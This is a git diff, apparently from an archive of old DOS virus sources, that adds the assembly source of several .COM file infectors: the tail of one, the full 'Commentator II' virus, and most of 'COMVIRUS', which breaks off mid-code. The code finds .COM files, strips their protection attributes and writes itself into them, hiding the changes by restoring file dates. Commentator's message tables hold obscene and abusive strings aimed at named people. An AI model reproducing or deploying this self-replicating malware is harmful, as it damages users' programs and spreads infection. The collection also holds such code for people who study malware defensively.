; morgoth virus. Als bestand al besmet +ZoekNext: + Mov AH,4Fh ;------------------ + Int 21h ; Zoeken naar volgende .COM file + Jnc KijkInfected ; Geen gevonden, goto Afgelopen + Jmp Afgelopen ;------------------ +Infect: + Mov DX,Proggie ; beveiliging weghalen + Mov AH,43h ; + Mov AL,1 ; + Xor CX,Cx + Int 21h ;------------------ + Mov AH,3Dh ; Bestand openen + Mov AL,2 ; + Mov DX,Proggie ; + Int 21h ;------------------ + Mov FH,AX ; Opslaan op stack van + Mov BX,AX ; datum voor later gebruik + Mov AH,57H ; + Mov AL,0 ; + Int 21h ; + Push CX ; + Push DX ;------------------ + Mov AH,3Fh ; Inlezen van eerste deel van het + Mov CX,VirLen+2 ; programma om later terug te + Mov DX,Buff1 ; kunnen plaatsen. + Int 21h ;------------------ + Mov AH,42H ; File Pointer weer naar het + Mov AL,2 ; einde van het programma + Xor CX,CX ; zetten + Xor DX,DX ; + Int 21h ;------------------ + Xor DX,DX ; Bepalen van de variabele sprongen + Add AX,100h ; in het virus (move-routine) + Mov Sprong,AX ; + Add AX,MovLen ; + Mov Source,AX ;------------------ + Mov AH,40H ; Move routine bewaren aan + Mov DX,Offset Mover ; einde van file + Mov CX,MovLen ; + Int 21h ;------------------ + Mov AH,40H ; Eerste deel programma aan- + Mov DX,Buff1 ; voegen na Move routine + Mov CX,VirLen ; + Int 21h ;------------------ + Mov AH,42h ; File Pointer weer naar + Mov AL,0 ; het begin van file + Xor CX,CX ; sturen + Xor DX,DX ; + Int 21h ;------------------ + Mov AH,40h ; En programma overschrijven + Mov DX,Offset Begin ; met code van het virus + Mov CX,VirLen ; + Int 21h ;------------------ + Mov AH,57h ; Datum van aangesproken file + Mov AL,1 ; weer herstellen + Pop DX ; + Pop CX ; + Int 21h ;------------------ + Mov AH,3Eh ; Sluiten file + Int 21h ;------------------ +Afgelopen: Mov BX,Buf2 ; Sprongvariabelen weer + Mov Source,BX ; op normaal zetten voor + Mov AX,Buf1 ; de Move routine + Mov Sprong,AX ;------------------ + Mov AH,1Ah ; DTA adres weer op normaal + Mov Dx,80h ; zetten en naar de Move + Int 21h ; routine springen + Mov Ah,2Ch + Int 21h + Xor DL,DL + Xchg Dh,Dl + Add Dx,Dx +; And Dx,11111110b + Add Dx,Offset MsgTab + Mov Si,Dx + Mov Dx,Cs:[SI] + Mov AH,9 + Int 21h + Jmp CS:[Sprong] ;------------------ + +Msgtab DW offset Msg1 + DW offset Msg2 + DW offset Msg3 + DW offset Msg4 + DW offset Msg5 + DW offset Msg6 + DW offset Msg7 + DW offset Msg8 + DW offset Msg9 + DW offset Msg10 + DW offset Msg11 + DW offset Msg12 + DW offset Msg13 + DW offset Msg14 + DW offset Msg15 + DW offset Msg16 + DW offset Msg17 + DW offset Msg18 + DW offset Msg19 + DW offset Msg20 + DW offset Msg21 + DW offset Msg22 + DW offset Msg23 + DW offset Msg24 + DW offset Msg25 + DW offset Msg26 + DW offset Msg27 + DW offset Msg28 + DW offset Msg29 + DW offset Msg30 + DW offset Msg31 + DW offset Msg32 + DW offset Msg33 + DW offset Msg34 + DW offset Msg35 + DW offset Msg36 + DW offset Msg37 + DW offset Msg38 + DW offset Msg39 + DW offset Msg40 + DW offset Msg41 + DW offset Msg42 + DW offset Msg43 + DW offset Msg44 + DW offset Msg45 + DW offset Msg46 + DW offset Msg47 + DW offset Msg48 + DW offset Msg49 + DW offset Msg50 + DW offset Msg51 + DW offset Msg52 + DW offset Msg53 + DW offset Msg54 + DW offset Msg55 + DW offset Msg56 + DW offset Msg57 + DW offset Msg58 + DW offset Msg59 + DW offset Msg60 + +Msg1 Db 13,10,'McAfee is a bum-hole',13,10,'$' +Msg2 Db 13,10,'Patricia Hoffman is a virgin',13,10,'$' +Msg3 Db 13,10,'David Grant is a shithead',13,10,'$' +Msg4 Db 13,10,'Jan Terpstra sucks',13,10,'$' +Msg5 Db 13,10,'Vesselin Bontchev is a lamer',13,10,'$' +Msg6 Db 13,10,'Righard Zwienenberg is a cowboy',13,10,'$' +Msg7 Db 13,10,'Greetings to Cracker Jack in Italy',13,10,'$' +Msg8 Db 13,10,'MS-DOS could be programmed better',13,10,'$' +Msg9 Db 13,10,'A virus may not hang, it must replicate!',13,10,'$' +Msg10 Db 13,10,'(C) by Glenn Benton DVRL',13,10,'$' +Msg11 Db 13,10,'HAHAHA you have a virus',13,10,'$' +Msg12 Db 13,10,'Dutch Virus Research Laboratory',13,10,'$' +Msg13 Db 13,10,'Program to big to fit in ass',13,10,'$' +Msg14 Db 13,10,'Another program bites the dust',13,10,'$' +Msg15 Db 13,10,'Havahey! Another Me born to serve',13,10,'$' +Msg16 Db 13,10,'Deicide wasnt that good after all...',13,10,'$' +Msg17 Db 13,10,'DEICIDE, MORGOTH, BREEZE, BROTHER by Glenn Benton',13,10,'$' +Msg18 Db 13,10,'Hey! Gimme some more disks!',13,10,'$' +Msg19 Db 13,10,'Stealth techniques are cool',13,10,'$' +Msg20 Db 13,10,'Encryption is usefull...',13,10,'$' +Msg21 Db 13,10,'Stephanie my lovely girl',13,10,'$' +Msg22 Db 13,10,'FPROT is compiled BASIC',13,10,'$' +Msg23 Db 13,10,'Fuck da police!',13,10,'$' +Msg24 Db 13,10,'Source soon aveable for jokes!',13,10,'$' +Msg25 Db 13,10,'Why dont you play with something else?',13,10,'$' +Msg26 Db 13,10,'Thanks to BORLAND for Turbo Assembler',13,10,'$' +Msg27 Db 13,10,'It is time for NORTON SPEED DISK',13,10,'$' +Msg28 Db 13,10,'Donald duck is a lie...',13,10,'$' +Msg29 Db 13,10,'Why dont you buy me a CHEESEBURGER?',13,10,'$' +Msg30 Db 13,10,'Wim Kok is a COMMUNIST!!!!',13,10,'$' + +Msg31 Db 13,10,'Xabaras could be better',13,10,'$' +Msg32 Db 13,10,'FAT has a nice technique',13,10,'$' +Msg33 Db 13,10,'This virus is not resident!',13,10,'$' +Msg34 Db 13,10,'Nobody like debugging...',13,10,'$' +Msg35 Db 13,10,'60 Messages in here?',13,10,'$' +Msg36 Db 13,10,'Out of worktime',13,10,'$' +Msg37 Db 13,10,'RAM parity error',13,10,'$' +Msg38 Db 13,10,'Insert porn magazine in drive A',13,10,'$' +Msg39 Db 13,10,'Insert tracktor toilet paper in printer',13,10,'$' +Msg40 Db 13,10,'Upload this virus to McAfee, please',13,10,'$' +Msg41 Db 13,10,'HIP-HOP sucks!',13,10,'$' +Msg42 Db 13,10,'Vote for Saddam.',13,10,'$' +Msg43 Db 13,10,'DEAD BY DAWN',13,10,'$' +Msg44 Db 13,10,'NAIL HIM LIKE JESUS!',13,10,'$' +Msg45 Db 13,10,'May I fuck with your wife?',13,10,'$' +Msg46 Db 13,10,'Hey CJ! What abouth a Corporation (I&DVRL)',13,10,'$' +Msg47 Db 13,10,'Thanx to Oliver North for giving me TASM',13,10,'$' +Msg48 Db 13,10,'Do not use drugs, make a virus!',13,10,'$' +Msg49 Db 13,10,'Register this produkt!',13,10,'$' +Msg50 Db 13,10,'This virus is SHAREWARE',13,10,'$' +Msg51 Db 13,10,'You will hate me for this',13,10,'$' +Msg52 Db 13,10,'See the sunny side of life',13,10,'$' +Msg53 Db 13,10,'DAME EDNA IS COOL!',13,10,'$' +Msg54 Db 13,10,'I like the pope, the pope smokes dope!',13,10,'$' +Msg55 Db 13,10,'We like the pope, he gives us his dope!',13,10,'$' +Msg56 Db 13,10,'Are you FLINTSTONED???',13,10,'$' +Msg57 Db 13,10,'How about a game of STRIP-POKER?',13,10,'$' +Msg58 Db 13,10,'FACES OF DEATH!',13,10,'$' +Msg59 Db 13,10,'Just one more message!!!',13,10,'$' +Msg60 Db 13,10,'Spread this like hell!',13,10,'$' + +; +; All variables are stored in here, like filehandle, date/time, +; search path and various buffers. +; + +FH DW 0 +FindPath DB '*.COM',0 + +Buf1 DW 0 +Buf2 DW 0 + +Sprong DW 0 +Source DW 0 + +; +; This will contain the relocator routine, located at the end of +; the ORIGINAL file. This will tranfer the 1st part of the program +; to it's original place. +; +Mover: + Mov DI,Offset Begin ;------------------ + Mov SI,Source ; Verplaatsen van het 1e deel + Mov CX,VirLen-1 ; van het programma, wat achter + Rep Movsb ;------------------ + Pop DI ; Opgeslagen registers weer + Pop SI ; terugzetten op originele + Pop SS ; waarde en springen naar + Pop ES ; het begin van het programma + Pop DS ; (waar nu het virus niet meer + Pop DX ; staat) + Pop CX ; + Pop BX ; + Pop AX ; + Popf ; + Mov BX,100h ; + Jmp BX ;------------------ + +; +; Only the end of the virus is stored in here. +; +Einde db 0 + +Code Ends +End Begin + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/c/Comment2.asm b/c/Comment2.asm new file mode 100755 index 0000000..68efded --- /dev/null +++ b/c/Comment2.asm @@ -0,0 +1,334 @@ +;Ŀ +; Commentator Virus by Glenn... +;Ĵ +; This will be a Parasytic Non-Resident .COM infector. +; It will also infect COMMAND.COM. +; +.MODEL TINY + +Public VirLen,MovLen + +Code Segment para 'Code' +Assume Cs:Code,Ds:Code,Es:Code + + Org 100h + +Signature Equ 0DeDeh ; Signature of virus! + +Buff1 Equ 0F100h +Buff2 Equ Buff1+2 +VirLen Equ Offset Einde-Offset Begin +MovLen Equ Offset Einde-Offset Mover +DTA Equ 0F000h +Proggie Equ DTA+1Eh +Lenny Equ DTA+1Ah + +MinLen Equ Virlen ;Minimale lengte te besmetten programma +MaxLen Equ 0EF00h ; Maximale lengte te besmetten programma + +; +; This part will contain the actual virus code, for searching the +; next victim and infection of it. +; + +Begin: + Jmp Short OverSig ; Sprong naar Oversig vanwege kenmerk + DW Signature ; Herkenningsteken virus +Oversig: + Pushf ;------------------ + Push AX ; Alle registers opslaan voor + Push BX ; later gebruik van het programma + Push CX ; + Push DX ; + Push DS ; + Push ES ; + Push SS ; + Push SI ; + Push DI ;------------------ +InfectPart: + Mov AX,Sprong ;------------------ + Mov Buf1,AX ; Spronggegevens bewaren om + Mov BX,Source ; besmette programma te starten + Mov Buf2,BX ;------------------ + Mov AH,1Ah ; DTA area instellen op + Mov DX,DTA ; $DTA area + Int 21h ;------------------ +Vindeerst: Mov AH,4Eh ; Zoeken naar 1e .COM file in directory + Mov Cx,1 ; + Lea DX,FindPath ; + Int 21h ;------------------ + Jnc KijkInfected ; Geen gevonden, goto Afgelopen + Jmp Afgelopen ;------------------ +KijkInfected: + Mov DX,Cs:[Lenny] ;------------------ + Cmp DX,MinLen ; Kijken of programmalengte voldoet + Jb ZoekNext ; aan de eisen van het virus + Cmp DX,MaxLen ; + Ja ZoekNext ;------------------ +On2: Mov AH,3Dh ; Zo ja , file openen en file handle + Mov AL,2 ; opslaan + Mov DX,Proggie ; + Int 21h ; + Mov FH,AX ;------------------ + Mov BX,AX ; + Mov AH,3Fh ; Lezen 1e 4 bytes van een file met + Mov CX,4 ; een mogelijk kenmerk van het virus + Mov DX,Buff1 ; + Int 21h ;------------------ +Sluiten: Mov AH,3Eh ; File weer sluiten + Int 21h ;------------------ + Mov AX,CS:[Buff2] ; Vergelijken inhoud lokatie Buff1+2 + Cmp AX,Signature ; met Signature. Niet gelijk : Zoeken op + Jnz Infect ; morgoth virus. Als bestand al besmet +ZoekNext: + Mov AH,4Fh ;------------------ + Int 21h ; Zoeken naar volgende .COM file + Jnc KijkInfected ; Geen gevonden, goto Afgelopen + Jmp Afgelopen ;------------------ +Infect: + Mov DX,Proggie ; beveiliging weghalen + Mov AH,43h ; + Mov AL,1 ; + Xor CX,Cx + Int 21h ;------------------ + Mov AH,3Dh ; Bestand openen + Mov AL,2 ; + Mov DX,Proggie ; + Int 21h ;------------------ + Mov FH,AX ; Opslaan op stack van + Mov BX,AX ; datum voor later gebruik + Mov AH,57H ; + Mov AL,0 ; + Int 21h ; + Push CX ; + Push DX ;------------------ + Mov AH,3Fh ; Inlezen van eerste deel van het + Mov CX,VirLen+2 ; programma om later terug te + Mov DX,Buff1 ; kunnen plaatsen. + Int 21h ;------------------ + Mov AH,42H ; File Pointer weer naar het + Mov AL,2 ; einde van het programma + Xor CX,CX ; zetten + Xor DX,DX ; + Int 21h ;------------------ + Xor DX,DX ; Bepalen van de variabele sprongen + Add AX,100h ; in het virus (move-routine) + Mov Sprong,AX ; + Add AX,MovLen ; + Mov Source,AX ;------------------ + Mov AH,40H ; Move routine bewaren aan + Mov DX,Offset Mover ; einde van file + Mov CX,MovLen ; + Int 21h ;------------------ + Mov AH,40H ; Eerste deel programma aan- + Mov DX,Buff1 ; voegen na Move routine + Mov CX,VirLen ; + Int 21h ;------------------ + Mov AH,42h ; File Pointer weer naar + Mov AL,0 ; het begin van file + Xor CX,CX ; sturen + Xor DX,DX ; + Int 21h ;------------------ + Mov AH,40h ; En programma overschrijven + Mov DX,Offset Begin ; met code van het virus + Mov CX,VirLen ; + Int 21h ;------------------ + Mov AH,57h ; Datum van aangesproken file + Mov AL,1 ; weer herstellen + Pop DX ; + Pop CX ; + Int 21h ;------------------ + Mov AH,3Eh ; Sluiten file + Int 21h ;------------------ +Afgelopen: Mov BX,Buf2 ; Sprongvariabelen weer + Mov Source,BX ; op normaal zetten voor + Mov AX,Buf1 ; de Move routine + Mov Sprong,AX ;------------------ + Mov AH,1Ah ; DTA adres weer op normaal + Mov Dx,80h ; zetten en naar de Move + Int 21h ; routine springen + Mov Ah,2Ch + Int 21h + Xor DL,DL + Xchg Dh,Dl + Add Dx,Dx +; And Dx,11111110b + Add Dx,Offset MsgTab + Mov Si,Dx + Mov Dx,Cs:[SI] + Mov AH,9 + Int 21h + Jmp CS:[Sprong] ;------------------ + +Msgtab DW offset Msg1 + DW offset Msg2 + DW offset Msg3 + DW offset Msg4 + DW offset Msg5 + DW offset Msg6 + DW offset Msg7 + DW offset Msg8 + DW offset Msg9 + DW offset Msg10 + DW offset Msg11 + DW offset Msg12 + DW offset Msg13 + DW offset Msg14 + DW offset Msg15 + DW offset Msg16 + DW offset Msg17 + DW offset Msg18 + DW offset Msg19 + DW offset Msg20 + DW offset Msg21 + DW offset Msg22 + DW offset Msg23 + DW offset Msg24 + DW offset Msg25 + DW offset Msg26 + DW offset Msg27 + DW offset Msg28 + DW offset Msg29 + DW offset Msg30 + DW offset Msg31 + DW offset Msg32 + DW offset Msg33 + DW offset Msg34 + DW offset Msg35 + DW offset Msg36 + DW offset Msg37 + DW offset Msg38 + DW offset Msg39 + DW offset Msg40 + DW offset Msg41 + DW offset Msg42 + DW offset Msg43 + DW offset Msg44 + DW offset Msg45 + DW offset Msg46 + DW offset Msg47 + DW offset Msg48 + DW offset Msg49 + DW offset Msg50 + DW offset Msg51 + DW offset Msg52 + DW offset Msg53 + DW offset Msg54 + DW offset Msg55 + DW offset Msg56 + DW offset Msg57 + DW offset Msg58 + DW offset Msg59 + DW offset Msg60 + +Msg1 Db 13,10,'Cycle sluts from hell',13,10,'$' +Msg2 Db 13,10,'Virus Mania IV',13,10,'$' +Msg3 Db 13,10,'2 Live Crew is fucking cool',13,10,'$' +Msg4 Db 13,10,'Like Commentator I, HIP-HOP sucks',13,10,'$' +Msg5 Db 13,10,'Dr. Ruth is a first-class lady!',13,10,'$' +Msg6 Db 13,10,'Dont be a wimp, be dead!',13,10,'$' +Msg7 Db 13,10,'This dick was made for laying girls.',13,10,'$' +Msg8 Db 13,10,'No virus entry, just me!',13,10,'$' +Msg9 Db 13,10,'Dont bite it, you horny bitch!',13,10,'$' +Msg10 Db 13,10,'Stroke my keys, oh YES!',13,10,'$' +Msg11 Db 13,10,'Sex Revolution 4000',13,10,'$' +Msg12 Db 13,10,'Buck Rogers is fake',13,10,'$' +Msg13 Db 13,10,'(C) by Glenn Benton',13,10,'$' +Msg14 Db 13,10,'Registration number required',13,10,'$' +Msg15 Db 13,10,'The fly is alive',13,10,'$' +Msg16 Db 13,10,'Dont fuck with me, or I will kick some ass...',13,10,'$' +Msg17 Db 13,10,'Hey, dont hit the keys that hard!',13,10,'$' +Msg18 Db 13,10,'You will feel me...',13,10,'$' +Msg19 Db 13,10,'BEER BEER BEER BEER BEER BEER BEER!!!',13,10,'$' +Msg20 Db 13,10,'YOU HAVE A VIRUS, BWAH AH AH EH EH HEH ARF!',13,10,'$' +Msg21 Db 13,10,'I would alter Michael Jacksons face with my fists...',13,10,'$' +Msg22 Db 13,10,'WIM KOK IS STILL A COMMUNIST!',13,10,'$' +Msg23 Db 13,10,'Welcome to COMMENTATOR II',13,10,'$' +Msg24 Db 13,10,'Commentator I & II released!',13,10,'$' +Msg25 Db 13,10,'Legalize ABORTUS!',13,10,'$' +Msg26 Db 13,10,'Ronald McDonald goes Oude-Pekela!',13,10,'$' +Msg27 Db 13,10,'Source code soon aveable...',13,10,'$' +Msg28 Db 13,10,'Dont use a rubber against this virus!',13,10,'$' +Msg29 Db 13,10,'Swimming holiday in Bangladesh!',13,10,'$' +Msg30 Db 13,10,'Neo Nazis are a pile of shit.',13,10,'$' + +Msg31 Db 13,10,'Virus researchers are a pile of meat on the street.',13,10,'$' +Msg32 Db 13,10,'World Championship Cat-Throwing',13,10,'$' +Msg33 Db 13,10,'Yo Yo Yo Yo Yo Yo Yo, James Brown is DEAD!',13,10,'$' +Msg34 Db 13,10,'Yech, you are reminding me of my mother-in-law...',13,10,'$' +Msg35 Db 13,10,'How is the weather out there?',13,10,'$' +Msg36 Db 13,10,'Indalis is a fat bitch who looks like a glass-bin.',13,10,'$' +Msg37 Db 13,10,'Lubbers should be castrated for a long time ago.',13,10,'$' +Msg38 Db 13,10,'Legalize hookers (at a low prize!)',13,10,'$' +Msg39 Db 13,10,'Fist fucking sounds irrelevant to you, eh?',13,10,'$' +Msg40 Db 13,10,'I will be Back...',13,10,'$' +Msg41 Db 13,10,'Today it is..... JUDGEMENT DAY!!!',13,10,'$' +Msg42 Db 13,10,'Never mind the dog, beware of owner.',13,10,'$' +Msg43 Db 13,10,'You still owe me a CO-PROCESSOR!',13,10,'$' +Msg44 Db 13,10,'Do not drink and drive',13,10,'$' +Msg45 Db 13,10,'Last name ALMIGHTY, first name DICK',13,10,'$' +Msg46 Db 13,10,'Frodo lives!',13,10,'$' +Msg47 Db 13,10,'The leech lives',13,10,'$' +Msg48 Db 13,10,'Hey, Cracker Jack! Nice virus you made!',13,10,'$' +Msg49 Db 13,10,'A depressive Prince Claus looks like fun!',13,10,'$' +Msg50 Db 13,10,'Happy Eastern',13,10,'$' +Msg51 Db 13,10,'Thank god for AIDS',13,10,'$' +Msg52 Db 13,10,'Art is incredible stupid',13,10,'$' +Msg53 Db 13,10,'Out of semen error',13,10,'$' +Msg54 Db 13,10,'Incorrect BEF version',13,10,'$' +Msg55 Db 13,10,'Of je stopt de stekker erin?!?',13,10,'$' +Msg56 Db 13,10,'Jean Claude van Damme kicks ass.',13,10,'$' +Msg57 Db 13,10,'Cannabis expands the mind',13,10,'$' +Msg58 Db 13,10,'What is this memory? EMS XMS LIM HMA UMB?',13,10,'$' +Msg59 Db 13,10,'NOOOOOO NOT AN IBM SYSTEM, PLEASE!!!!!',13,10,'$' +Msg60 Db 13,10,'Dutch Virus Research Laboratory',13,10,'$' + +; +; All variables are stored in here, like filehandle, date/time, +; search path and various buffers. +; + +FH DW 0 +FindPath DB '*.COM',0 + +Buf1 DW 0 +Buf2 DW 0 + +Sprong DW 0 +Source DW 0 + +; +; This will contain the relocator routine, located at the end of +; the ORIGINAL file. This will tranfer the 1st part of the program +; to it's original place. +; +Mover: + Mov DI,Offset Begin ;------------------ + Mov SI,Source ; Verplaatsen van het 1e deel + Mov CX,VirLen-1 ; van het programma, wat achter + Rep Movsb ;------------------ + Pop DI ; Opgeslagen registers weer + Pop SI ; terugzetten op originele + Pop SS ; waarde en springen naar + Pop ES ; het begin van het programma + Pop DS ; (waar nu het virus niet meer + Pop DX ; staat) + Pop CX ; + Pop BX ; + Pop AX ; + Popf ; + Mov BX,100h ; + Jmp BX ;------------------ + +; +; Only the end of the virus is stored in here. +; +Einde db 0 + +Code Ends +End Begin + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/c/Comvirus.asm b/c/Comvirus.asm new file mode 100755 index 0000000..e50cc16 --- /dev/null +++ b/c/Comvirus.asm @@ -0,0 +1,458 @@ +title COMVIRUS +subttl By Drew Eckhardt +subttl Latest revision: 4-28-1991 + +;The author of this virus intends it to be used for educational +;purposes only, and assumes no responsibilities for its release, +;dammages resulting from its use, including but not limited to +;equipment dammage or data loss. + +;By assembling or examining this program, The user agrees to accept all +;responsibility for this programs use, or any portions of the code +;or concepts contained within. The user also agrees to not publicly release +;this virus, and to exercise necessary precautions to prevent its escape. +;The user accepts all responsibility arising from his actions. + +;Don't come crying to me if your hard disk gets infected, +;as THERE IS NO ANTIDOTE. HAHAHAH. + + +;Revision history: +;4-13: initial bug-free release, size=424 bytes with carrier + +;4-15: added no date change support, size=438 bytes with carrier + +;4-16: minor documentation changes, size=438 bytes with carrier, +; NO CODE CHANGE from 4-15 revision + +;4-21: fixed missing hex h suffixs, made MASM friendly, +; fixed incorrect assume statement (assume statements are ignored +; by A86) enabled hard/floppy infection based on floppy_only status +; size=438 bytes IF floppy_only, 424 bytes if not, with carrier. +; minimum virus length = 419 bytes + +;4-23: added control over how many programs are infected per run, +; switched method of infection, from copying to DTA then writing +; to disk to straight write to disk from memory. +; size=412 bytes IF floppy_only, 398 bytes if not, with carrier. +; minimum virus length = 393 bytes + +;4-28: used set DTA instead of default DTA/copy command line +; buffer, which had been used based on incorrect assumption +; eliminated calls to get time/date, get attribs +; by using information from find first/find next functions 4eh/4fh +; made warning optional for reduced space if desired. Also +; changed mov reg16, bp add reg16, constant to shorter LEA instruction. +; size=354 bytes IF floppy_only, warning on W/carrier +; 340 bytes IF w/warning & carrier program +; 286 bytes w/o warning, in program +; minimum virus length = 281 bytes for virus itself + +;4-28pm: instead of near CALL-pop sequences everywhere, switched to +; a single CALL near ptr Reference_Point, putting the result into +; si now that (until the end) string mode addressing is not used. +; Changed places where a register (used as an index) +; was being loaded THEN added to a single LEA isntruction +; size = 340 bytes if floppy_only, warning on w/carrier +; size = 326 bytes if w/warning & carrier +; size = 272 w/o warning +; minimum virus length = 267 bytes for the virus itself + +;4-28pm2: Eliminated unecessary flush buffers call. +; size = 336 bytes if floppy_only w/carrier +; size = 322 bytes w/warning & carrier +; size = 268 w/o warning +; minimum virus length = 263 bytes for virus itself + +;4-30: restored 5 bytes of original code at CS:0100 +; before infecting other programs, allowing the +; original code field to be modified so one disk write could be +; used instead of two +; minor documentation revisions - corrected incorrect +; opcodes in documentation +; size = 326 bytes if floppy_only w/carrier +; size = 312 bytes w/warning & carrier program +; size = 258 bytes w/carrier program +; Minimum virus length = 253 bytes for the virus itself + +;NOTE: The program is currently "set up" for A86 assembly with all +;conditional assembly symbols. #IF and #ENDIF should be replaced with +;MASM IFDEF and ENDIF directives for propper operation. +;Also, instead of using EQUates to define control symbols, the /D +;option or DEFINE could be used..... + + +;COMVIRUS.ASM must be assembled into a .COM file inorder to function +;properly. For convieniece, I recommend an assembler like A86 that will +;assemble to a .COM file without having to go through LINK and EXE2BIN + +;As is, it will infect .COM files located on the current disk. +;ONLY if it is a floppy disk, ONLY in the root directory. + +;This is a .COM infector virus, which, does nothing other than print a +;warning message, and spread to all files on the default disk IFF it is +;a floppy disk, in the root directory. + +;Theory: +;This is a non - overwriting virus. I took special precautions to preserve +;all functionality of the original program, including command line, parsed FCB, +;and segment register preservation. This makes the virus harder to detect. + +;The .COM file is a memory image - with no relocation table. Thus, it +;is an easy target for a virus such as this. + +;Infected file format +;jmp near ptr xxxx +;cli cli ;ID bytes +;ORIGINAL program code, sans 5 bytes +;5 bytes ORIGINAL program code +;VIRUS + +;This format makes infection VERY simple. We merely check for our signature +;(in this case cli cli (fa fa) - instructions that no programmer in his +;right mind would use - loading the original five bytes in the process. +;These original bytes are written to the end of the program, then +;A jump to where the virus is. + +;While infection is easy, this method presents some coding problems, as the +;virus does not know where in memory it is. Therefor, When we want to access +;data, we FIND OUT where we are, by performing a near call which PUSHES ip to the +;stack which is then popped. Addresses are then calculated relative to this +;via LEA + +;To run the program as normal, command line is restored, registers restored, +;And original code copied onto the first five bytes of the program. + + +;Program control symbols defined here +floppy_only equ 1 +infect_per_run equ 1 ;number of programs infected per run +warn_user equ 1 + +_TEXT segment byte 'CODE' + assume cs:_TEXT,ds:_TEXT,es:_TEXT,ss:_TEXT + org 100h + +Start: jmp infect; + +;This is our signature + cli + cli + +;Original code is the data field where we store the original program code +;which will replace our signature and jmp to infect + +Original_Code: int 20h ;five bytes that simply terminate + nop ;the program + nop + nop + + + +;Data for the virus. In a destructive virus, you would want to encrypt +;any strings using a simple one's complement (not) operation so as to +;thwart detection via text search utilities. Since we want detection to +;be easy, this un-encrypted form is fine. + + +Start_Virus: +#IF warn_user + Warning db "This file infected with COMVIRUS 1.0",10,13,'$' +#ENDIF + +;VirusMask is simply an ASCIIZ terminated string of the files we wish to +;infect. + + VirusMask db '*.COM', 0 +Infect: + push ax ;on entry to a .COM program, STACK: + ;MS-DOS puts drive identifiers ax (drive id for FCB's) <-- sp + ;for the two FCB's in here. Save + ;'em + + ;I use special trickery to find location of data. Since + ;NEAR calls/jmps are RELATIVE, call near ptr find_warn is + ;translated to e8 0000 - which will simply place the location + ;of Reference onto the stack. Our data can be found relative to + ;this point. + + call near ptr Reference ;All data is reference realative to + ;Reference + + +Reference: pop bx ;which is placed into bx for LEA + ;instructions + ;bx now contains the REAL address of + ;Reference + ;si points to real address of original + ;code field + lea si, [bx-(offset Reference - offset Original_Code)] + mov di, 0100h ;original code is at 100h + mov cx, 5 ;5 bytes + cld ;from start of buffer + rep movsb ;do it + + mov si, bx ;since BX is used in handle + ;based DOS calls, for the remainder + ;of the virus, si will contain the + ;actual address of reference + +#IF warn_user + + ;Always calculate the address of data relative to known Reference + ;Point + lea dx, [si-(offset Reference - offset Warning)] + mov ah,9h ;DO dos call, DS:DX pointing + int 21h ;to $ terminated string + + ;We want to make sure that the user gets the message + +WaitForKey: + mov ah, 0bh ;we will wait for a keypress + int 21h ;signifying the user has + or al, al ;seen the message. + jz WaitForKey + +#ENDIF + +#IF FLOPPY_ONLY + + ;Since this is a simple demonstration virus, we will only infect + ;.COM files on the default drive IFF it is a floppy disk.... + ;So, we will get information about the disk drive. + + + push ds ;ds:bx returns a byte to + ;media descriptor + + mov ah, 1bh ;get disk information STACK + int 21h ;DOIT ax (drive ID's) + cmp byte ptr ds:[bx], 0f8h ;see if its a hard disk ds <--sp + + pop ds ;restore ds STACK + jne Floppy ;if it was hard.... ax <--sp + jmp near ptr done ;we're nice guys and are done + +Floppy: ;Since it was floppy, we can go on with the infection! +#ENDIF + ;The default DTA, as is will give us problems. The designers of + ;MickeySoft DOS decided to put default DTA at ofset 128 in + ;the PSP. PROBLEM: This is also where the user's precious command + ;line is, and we MUST remain undectected. SO.... we allocate a + ;DTA buffer on the stack. 43 bytes are needed, 44 will do. + + sub sp, 44 ;allocate space for findfirst/findnext DTA + mov bp, sp ;set up bp as a reference to this area + + ;Set the DTA + mov dx, bp ;point DS:DX to our area + mov ah, 1ah ;set DTA + int 21h + + ;Set up pointers to data in DTA + dta equ word ptr [bp] + file_name equ word ptr [bp+1eh] + attributes equ byte ptr [bp+15h] + time_stamp equ word ptr [bp+16h] + date_stamp equ word ptr [bp+18h] + file_size equ dword ptr [bp+1ah] + + ;We dynamically allocate a variable to store the number of programs STACK + ;The virus has infected. FCB drives + ; bp--> 44 byte DTA + infected_count equ byte ptr[bp-2]; Infected_Count + xor ax, ax ;zero variable, sp--> buffer (6 bytes) + push ax ;allocate it on the stack + sub sp, 6 ;allocate small buffer + + ;Now, we begin looking for files to infect. + lea dx, [si - (offset Reference - offset VirusMask)] + ;DS:DX points to the search string STACK + mov ah, 4eh ;find first matching directory entry FCB drives (word) + mov cx, 111b ;only default directory, FILES + ;hidden, system and normal + int 21h ;doit bp--> 44 byte DTA buffer + ; infected count (word) + jnc Research ;carry is clear when a file was sp--> 6 byte buffer + jmp nofile ;found. + + +ReSearch: +;All handle based DOS calls take a pointer to an ASCIIZ file name in ds:dx + lea dx, file_name + +;Since this is a virus, we want to infect files that can't be touched by +;DOS commands, this means readonly, system, and hidden files are at our +;mercy. To do this, we rely on the findfrst/next attributes and other data +;to restore the attribute byte to the original settings. get/SET can fix +;them to be suitable + mov cl, attributes + and cl, 11100000b ;not readonly, system, or hidden STACK + ; FCB drives + mov ax, 4301h ;set attributes bp--> buffer (44 bytes) + int 21h ; buffer (6 bytes) + ; sp--> infected_count + jnc NoError ;check for error + jmp Restore_Flags +NoError: + mov ax, 3d02h ;now, open file using handle, + ;read/write access + int 21h ; + jnc NoError2 ;IF there was an error, we are done + jmp Restore_Flags ;But we don't need to commit or close + +NoError2: + mov bx, ax ;The handle was returned in ACC. + ;Howwever, all handle based DOS + ;calls expect it in BX + + +;We don't want to infect the program more than once, so we will +;check to see if it is infected. + + + mov ax, 4200h ;seek relative to start of file + ; bx contains handle from open operation + xor cx,cx ;cx:dx is file pointer + xor dx, dx ; + int 21h ;DOIT + +;Now, we will read in enough data to see if we have our virus signature. + mov ah, 3fh ;read data + lea dx, [si-(offset reference-offset original_code)] + ;into original_code buffer + mov cx, 5 ;5h bytes + ; bx contains handle from last operation + int 21h + + cmp word ptr [si-(offset reference-offset original_code)+3], 0fafah + jne GoApe ;if we aren't already infected, + jmp Error ;go for it + +GoApe: +;Since it is safe to infect, we will + mov ax, 4202h ;seek end of file + xor cx, cx + xor dx, dx + int 21h + + or dx, dx ;check for valid .COM format + jz Less_Than_64K + jmp Error + +Less_Than_64K: + +;Now, we must calculate WHERE the jump will be to. Let's 